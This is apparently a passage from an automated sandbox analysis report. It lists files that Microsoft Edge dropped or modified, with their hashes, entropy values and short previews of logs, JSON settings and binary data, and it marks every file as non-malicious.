                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:modified
                    Size (bytes):481245
                    Entropy (8bit):5.396097809584426
                    Encrypted:false
                    SSDEEP:
                    MD5:AB85732BFCEFAB7DCF5BAD1CC35CDCF3
                    SHA1:FA9E8A9A9952223C61F058F3ABF17AAEE677D85F
                    SHA-256:5DDE03FCE1D35E2DF476DD1526D90A80D478ED37F854EB0A2467442EDE7EFFFD
                    SHA-512:E5F63A940A3E12D2EADD799AA060ECE79FA71FD3769F6C97B8494D02BC6743FF13C5F800CFF2C5A471178AD3E860DAED4AA9EC02FD2547917C915970B59FDE74
                    Malicious:false
                    Reputation:low
                    Preview:...m.................DB_VERSION.1...8.................QUERY_TIMESTAMP:arbitration_priority_list4.*.*.13341056840624329.$QUERY:arbitration_priority_list4.*.*..[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):332
                    Entropy (8bit):5.169765241368344
                    Encrypted:false
                    SSDEEP:
                    MD5:D497594CA946DF538529E97FA510DA25
                    SHA1:2F8B95CC0E2901F80B215A26C0DD921E10023B6A
                    SHA-256:8FBFE68FF06D60830E92031FCA63284C3B364F2847BB3B96E3CC18BFAD750D84
                    SHA-512:26A3DD8425D55ACCB89E658168493EA2A281DB925647AF8A12C26A643F624177446E79293142C570D7FC7D79D7880F3B38F6454D4FB646866AECE02D6A3594F3
                    Malicious:false
                    Reputation:low
                    Preview:2023/12/14-10:59:03.739 1bb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2023/12/14-10:59:04.209 1bb8 Recovering log #3.2023/12/14-10:59:04.603 1bb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:gzip compressed data, was "asset", last modified: Thu Nov 2 21:25:56 2023, max compression, original size modulo 2^32 391864
                    Category:dropped
                    Size (bytes):79192
                    Entropy (8bit):7.9960681029013765
                    Encrypted:true
                    SSDEEP:
                    MD5:1D37746100255DFCDC6EFFA0224731F2
                    SHA1:0DDC961A9C33ECC78C71DEFA494CACA0D5373B58
                    SHA-256:33D29BC59193E7DF4B5B6B7EDA4623F8007A3616E6306DA75A55201AB156E773
                    SHA-512:4F54EB513ADD5F16A31D72A2313C5D488E3F26A12CA80BB56BC289748E6578C845CE7C057587506514B00B2714B9464DDE11AD63DF4859AA1F63FF47DD9B4943
                    Malicious:false
                    Reputation:low
                    Preview:......De..asset.....6.0.W..3....[........9m;.....IH.E...j...}.....PR..w.gg.....@.P.*..?...x....?./.%..Q...x....}..9..e..f.8..Yb@g...i..$...I.......<....k...{..{.Qg..k..q.....i.Y}..._......\?....5 .5 .`..._i'@....H'.f!...x`...f......v.._1w.u.<.........5.:..^.Ua....H6...x....D:.R..L..2.,.s.f.......FE'..%{]-;+.`....N...=|.:q...9N.k..i.I.8E.i.I.s..Y...8..fe'...Xo...Xo...#.r$N.u2.o.]....^,.k....{E."......Q.N...AY..u.^o.............Z..ce.irN.{.O$.C.......HJ.HJ..J..hOgA.5.nW.\........}E.%-.A."a<..~.[O....~.......xX.G?Y.3O8d8I...&X....V4...0=.iS....].D.L@.YiS...<.W..W+..#mj...p..8^.\U;oV;W`..^..V...G..SC.9.....i%@g.iS=..`..#.H.p.q..E.q...)....).X..M.X.%.,i.%..V..6.nk.@1S@-..Y.6....K.n....:c.My.....h...9..q...f't.iS.v..6D7...d't.iS.v..F.....faG.t.f....lR.J@!l.0O..T.....T2...\.n..-....L..ES.9.:...B..P1@...P.l.fX.aV..Y6.B5......Mt..SS,l..+..J...).*i.6......8...:.Z...2.H.8..Z.>.5.Oi..N`:..6.i.n.h.l.e.h.T\.lr...TE+m.T..).D..F..+.6....J...x.`..`.m..H..i....p...v
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:gzip compressed data, was "asset", last modified: Tue Oct 10 17:24:31 2023, max compression, original size modulo 2^32 1682291
                    Category:dropped
                    Size (bytes):306698
                    Entropy (8bit):7.9987659165582645
                    Encrypted:true
                    SSDEEP:
                    MD5:0CB634E88A446A3BF2086A0D51C329D0
                    SHA1:E2FAFFD451011B0AB7AC79CA99DB09F717D881AB
                    SHA-256:2B8A5A8CB38DB1C0A1525EB269AB571154CF08F498FCDF3FF21501E52EA7655D
                    SHA-512:A04D00CF5A8EABD0B0CA71C926BFF929447ACFE5973BA0DFBB6298C47D487EEC0809F420F1512C67C2D81C03B344171977F243FCB8650BED0DBE838732D915E6
                    Malicious:false
                    Reputation:low
                    Preview:.....%e..asset..}i..F.._.........L..-..m..m..fCQ..$. @.`.{v....,.........[h....DU.??Y.<MTU...J.....O...On.'.&|'..J'...~.......e.L......|&c.~6...{.......JA.w.^.....z......3....cUEe..M..a.Tu.. ...W/^..~.b.|.X._............?....r..~..v.Xw.W.......t....W...3.......Y>./U...r...o./.....{Kw2I.o.........}...?f......:......)..}.<....U..I].?,.....O../.o./...O....>.~k.....|....o......u.q........."..n".....e.z..)...w....o.....9......a.2_...~.>....s7~...I....".......s...............j..e.../..........d**...?.SO...J.7w.z2{.N..^.y..........ut..W...t..T.U.>hM%..j...l.N.e9W....D.J...N.VQ....Z.....ri....'..j......E.nU.hC..^W.{.\.s%.J.*7i.>..M. ..\..).K.kM.q.x'.:.w...u>.N.GU..e..>>....B..N3[...A......B.M]....=JV.2.T..J...|^...:cMv[.]....m.....5'.z..u...4..Q.@...AJ.....*..J..l..|W..5...3k...2..U.Y.u%......o...<..,V?..m.y.R..+.u..j.....N.L.j.o4._.P.k..y..wm.......|.....T....e}.iz...c.a../.b.....0....R.....'.....sU^O.p..?.........v.En.......waS.:a0..*+dL..'.&.t
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):329
                    Entropy (8bit):5.216315152140738
                    Encrypted:false
                    SSDEEP:
                    MD5:6800DA1C5240772DABA153C68B48BFB9
                    SHA1:954BE2AEF0DDFF324DABCD0AB81B01307EE3FCC2
                    SHA-256:CF95A94E48437795D03BF5B1C7FE19506AD9FDDA648DE5BC2714671F31C7B799
                    SHA-512:ADCAE6B3438BAFDD422512B1B3AF123729A6A13C7942E2D425EDBF43F03FC94C1A5279D9978DD2CD3C03812DD0C52EE4D8BC70FBFA6A324C65F2E52E35799980
                    Malicious:false
                    Reputation:low
                    Preview:2023/12/14-10:58:54.726 3f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2023/12/14-10:58:54.735 3f8 Recovering log #3.2023/12/14-10:58:54.749 3f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:modified
                    Size (bytes):1619
                    Entropy (8bit):5.298422229648504
                    Encrypted:false
                    SSDEEP:
                    MD5:F8059F69958580DCEF8938E59A43865A
                    SHA1:5118D3A62CF279954F2FDADF47985942840A67E6
                    SHA-256:21B571046173F0AC24DABCB9E455B74FC99F14840DFF4028F000CA8F4E0E56CF
                    SHA-512:BEB47BB976E5C8597703F3F44088FC10C060560ADDA9FD46CF7606D0C96E3BDC1D2F1A87B05D29DA8234CD1A3BB7560E16249EA2D5EF58872EBD4DDA12A97FE2
                    Malicious:false
                    Reputation:low
                    Preview:{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343648834503256","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343648835224142","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:modified
                    Size (bytes):244
                    Entropy (8bit):4.370019175806368
                    Encrypted:false
                    SSDEEP:
                    MD5:85E192D8C48B874BFFC1FB09605FF0EF
                    SHA1:D58E23BB4FFA9F7C9099E7CA5075E6B099B77358
                    SHA-256:DCB54E57C4B08DE8882CD81CBC11DBE095BA3EB7BE5D11638C546070AF1FE555
                    SHA-512:D9A228025D0DDCFC51919383BDBCA5686EEDFAEF66508146C361ABFCF47FFD6DB52966EB78BD1795D3B6E59D6154CB3BCAF27F921810D286652686AB1A4985F1
                    Malicious:false
                    Reputation:low
                    Preview:*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................#.gd................next-map-id.1.Enamespace-c1d6bcca_b136_471d_acd6_489b8fc831f4-https://getfiles.wiki/.0
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):317
                    Entropy (8bit):5.178356953119781
                    Encrypted:false
                    SSDEEP:
                    MD5:0B60D86F32DE7336AAA611F23F8828BD
                    SHA1:ADFA4EC1914408B09DB64401B8DCB2AA5EE098BB
                    SHA-256:89FC25B9454A9206FF2BA3BB1FD1139144F1EBCBBB33FE7412CE7DFE5F00D4B3
                    SHA-512:FCEB7AFEFEF29CCDA15F082C9B225F452EA68880168C52DB936F87C69F8A2A5D357BAAD92C1DF3192112A9D1336CB0778682B5E40DB53729A8C1FD350E239D2B
                    Malicious:false
                    Reputation:low
                    Preview:2023/12/14-10:58:55.857 3f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2023/12/14-10:58:55.957 3f8 Recovering log #3.2023/12/14-10:58:56.050 3f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text
                    Category:dropped
                    Size (bytes):427
                    Entropy (8bit):5.264195352512446
                    Encrypted:false
                    SSDEEP:
                    MD5:D2A0DC87503D372CFD9F6FB91A44C4B6
                    SHA1:CF846B9B1157EF3743D1DE95BE638890629857C1
                    SHA-256:B618BA24BC07C4C211FF9EE0F271302C4A8FC984C2D8D87D4BBFA6AE46BFC1E5
                    SHA-512:6CC99BFDD4BE9C2E213987933BE6621E0A76359FE50E1E0347F9286D3B48C430E7E68EA4649F2661FC45D2D7348530DC2CCC9E4ADACB5DCE3EA5E5E825A7DDF1
                    Malicious:false
                    Reputation:low
                    Preview:2023/12/14-10:58:56.378 3f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2023/12/14-10:58:56.472 3f8 Recovering log #3.2023/12/14-10:58:56.575 3f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:modified
                    Size (bytes):2
                    Entropy (8bit):1.0
                    Encrypted:false
                    SSDEEP:
                    MD5:D751713988987E9331980363E24189CE
                    SHA1:97D170E1550EEE4AFC0AF065B78CDA302A97674C
                    SHA-256:4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
                    SHA-512:B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
                    Malicious:false
                    Reputation:low
                    Preview:[]
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):40
                    Entropy (8bit):4.1275671571169275
                    Encrypted:false
                    SSDEEP:
                    MD5:20D4B8FA017A12A108C87F540836E250
                    SHA1:1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
                    SHA-256:6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
                    SHA-512:507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
                    Malicious:false
                    Reputation:low
                    Preview:{"SDCH":{"dictionaries":{},"version":2}}
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with very long lines (3951), with CRLF line terminators
                    Category:dropped
                    Size (bytes):11755
                    Entropy (8bit):5.190465908239046
                    Encrypted:false
                    SSDEEP:
                    MD5:07301A857C41B5854E6F84CA00B81EA0
                    SHA1:7441FC1018508FF4F3DBAA139A21634C08ED979C
                    SHA-256:2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
                    SHA-512:00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
                    Malicious:false
                    Reputation:low
                    Preview:{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):132
                    Entropy (8bit):3.3799932723067507
                    Encrypted:false
                    SSDEEP:
                    MD5:77369CB0B22BF14A4B4123BDA893BE51
                    SHA1:4F50B0E7BBBB6AA002C7A518C69292BE40F12930
                    SHA-256:66BF2E2851BA2473706EBB3CC33A69F9BB48671ECEFD19DB3CFE531631997080
                    SHA-512:CA1DE8276EDF2B7397D8D369450518EC0745F79A99FDB8309E7F09EE56B6BB2EE1B10D1A5EC9D7DAA04CBC059C16CC402FD5A7AF71340791BF1D607972F691F5
                    Malicious:false
                    Reputation:low
                    Preview:C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.C.o.r.e.\.1.1.7...0...2.0.4.5...4.7.\.m.s.e.d.g.e...e.x.e.
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with no line terminators
                    Category:modified
                    Size (bytes):13
                    Entropy (8bit):2.7192945256669794
                    Encrypted:false
                    SSDEEP:
                    MD5:BF16C04B916ACE92DB941EBB1AF3CB18
                    SHA1:FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
                    SHA-256:7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
                    SHA-512:F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
                    Malicious:false
                    Reputation:low
                    Preview:117.0.2045.47
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with no line terminators
                    Category:dropped
                    Size (bytes):47
                    Entropy (8bit):4.3818353308528755
                    Encrypted:false
                    SSDEEP:
                    MD5:48324111147DECC23AC222A361873FC5
                    SHA1:0DF8B2267ABBDBD11C422D23338262E3131A4223
                    SHA-256:D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
                    SHA-512:E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
                    Malicious:false
                    Reputation:low
                    Preview:customSettings_F95BA787499AB4FA9EFFF472CE383A14
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):35
                    Entropy (8bit):4.014438730983427
                    Encrypted:false
                    SSDEEP:
                    MD5:BB57A76019EADEDC27F04EB2FB1F1841
                    SHA1:8B41A1B995D45B7A74A365B6B1F1F21F72F86760
                    SHA-256:2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
                    SHA-512:A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
                    Malicious:false
                    Reputation:low
                    Preview:{"forceServiceDetermination":false}
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with no line terminators
                    Category:dropped
                    Size (bytes):81
                    Entropy (8bit):4.3439888556902035
                    Encrypted:false
                    SSDEEP:
                    MD5:177F4D75F4FEE84EF08C507C3476C0D2
                    SHA1:08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
                    SHA-256:21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
                    SHA-512:94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
                    Malicious:false
                    Reputation:low
                    Preview:edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):130439
                    Entropy (8bit):3.80180718117079
                    Encrypted:false
                    SSDEEP:
                    MD5:EB75CEFFE37E6DF9C171EE8380439EDA
                    SHA1:F00119BA869133D64E4F7F0181161BD47968FA23
                    SHA-256:48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
                    SHA-512:044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
                    Malicious:false
                    Reputation:low
                    Preview:{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with no line terminators
                    Category:dropped
                    Size (bytes):40
                    Entropy (8bit):4.146439344671015
                    Encrypted:false
                    SSDEEP:
                    MD5:7637AB96B0CB1BC40ED277CD5CB9B4C0
                    SHA1:4FF8D326C0434C5F87A6EA35540470CBC47ED500
                    SHA-256:515BD3771B2803BB66EAA8C6142E370A2BD7CCA224E4FF12E31B7BDB0B80FEEE
                    SHA-512:37BE01BDCA2B71B75CDC002DFCCD800B6CC34FF7656A91BC5E71973DBE9CDFB65A7BE0C71D4561CF247F787F3B6BE7E47F759F06B365EB0A572419646AC02B49
                    Malicious:false
                    Reputation:low
                    Preview:synchronousLookupUris_638381416896666479
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:modified
                    Size (bytes):57
                    Entropy (8bit):4.556488479039065
                    Encrypted:false
                    SSDEEP:
                    MD5:3A05EAEA94307F8C57BAC69C3DF64E59
                    SHA1:9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
                    SHA-256:A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
                    SHA-512:6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
                    Malicious:false
                    Reputation:low
                    Preview:9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with no line terminators
                    Category:dropped
                    Size (bytes):29
                    Entropy (8bit):4.030394788231021
                    Encrypted:false
                    SSDEEP:
                    MD5:52E2839549E67CE774547C9F07740500
                    SHA1:B172E16D7756483DF0CA0A8D4F7640DD5D557201
                    SHA-256:F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
                    SHA-512:D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
                    Malicious:false
                    Reputation:low
                    Preview:topTraffic_638004170464094982
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:data
                    Category:dropped
                    Size (bytes):575056
                    Entropy (8bit):7.999649474060713
                    Encrypted:true
                    SSDEEP:
                    MD5:BE5D1A12C1644421F877787F8E76642D
                    SHA1:06C46A95B4BD5E145E015FA7E358A2D1AC52C809
                    SHA-256:C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
                    SHA-512:FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
                    Malicious:false
                    Reputation:low
                    Preview:...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)*d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(|.6.:..f!.>...?M.8......P.D.J.I4.<...*.y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z*.{nZ~d.V.4.u.K.V.......X.<p..cz..>*....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:raw G3 (Group 3) FAX, byte-padded
                    Category:dropped
                    Size (bytes):460992
                    Entropy (8bit):7.999625908035124
                    Encrypted:true
                    SSDEEP:
                    MD5:E9C502DB957CDB977E7F5745B34C32E6
                    SHA1:DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
                    SHA-256:5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
                    SHA-512:B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
                    Malicious:false
                    Reputation:low
                    Preview:...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<...*..Z..*%.*..._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..*4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z*.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^.*.T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d|.../....._...f.....d....Im..g.b..R.q.<x*x...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>*P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:ASCII text, with no line terminators
                    Category:dropped
                    Size (bytes):9
                    Entropy (8bit):3.169925001442312
                    Encrypted:false
                    SSDEEP:
                    MD5:B6F7A6B03164D4BF8E3531A5CF721D30
                    SHA1:A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
                    SHA-256:3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
                    SHA-512:4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
                    Malicious:false
                    Reputation:low
                    Preview:uriCache_
                    Process:C:\Program Files (x86)\Microsoft\EdgeCore\117.0.2045.47\msedge.exe
                    File Type:JSON data
                    Category:dropped
                    Size (bytes):179
                    Entropy (8bit):4.998032767482488
                    Encrypted:false
                    SSDEEP:
                    MD5:989EBC3E7B04B1F13129C41F6F0DB50A
                    SHA1:802F4DEC273532EF5FCB1A76210F7785745EDB11
                    SHA-256:7BB95280BC5FFB5521F4FBC07C096E719A14A847E73F7BFD84FA9C0CC1063B37
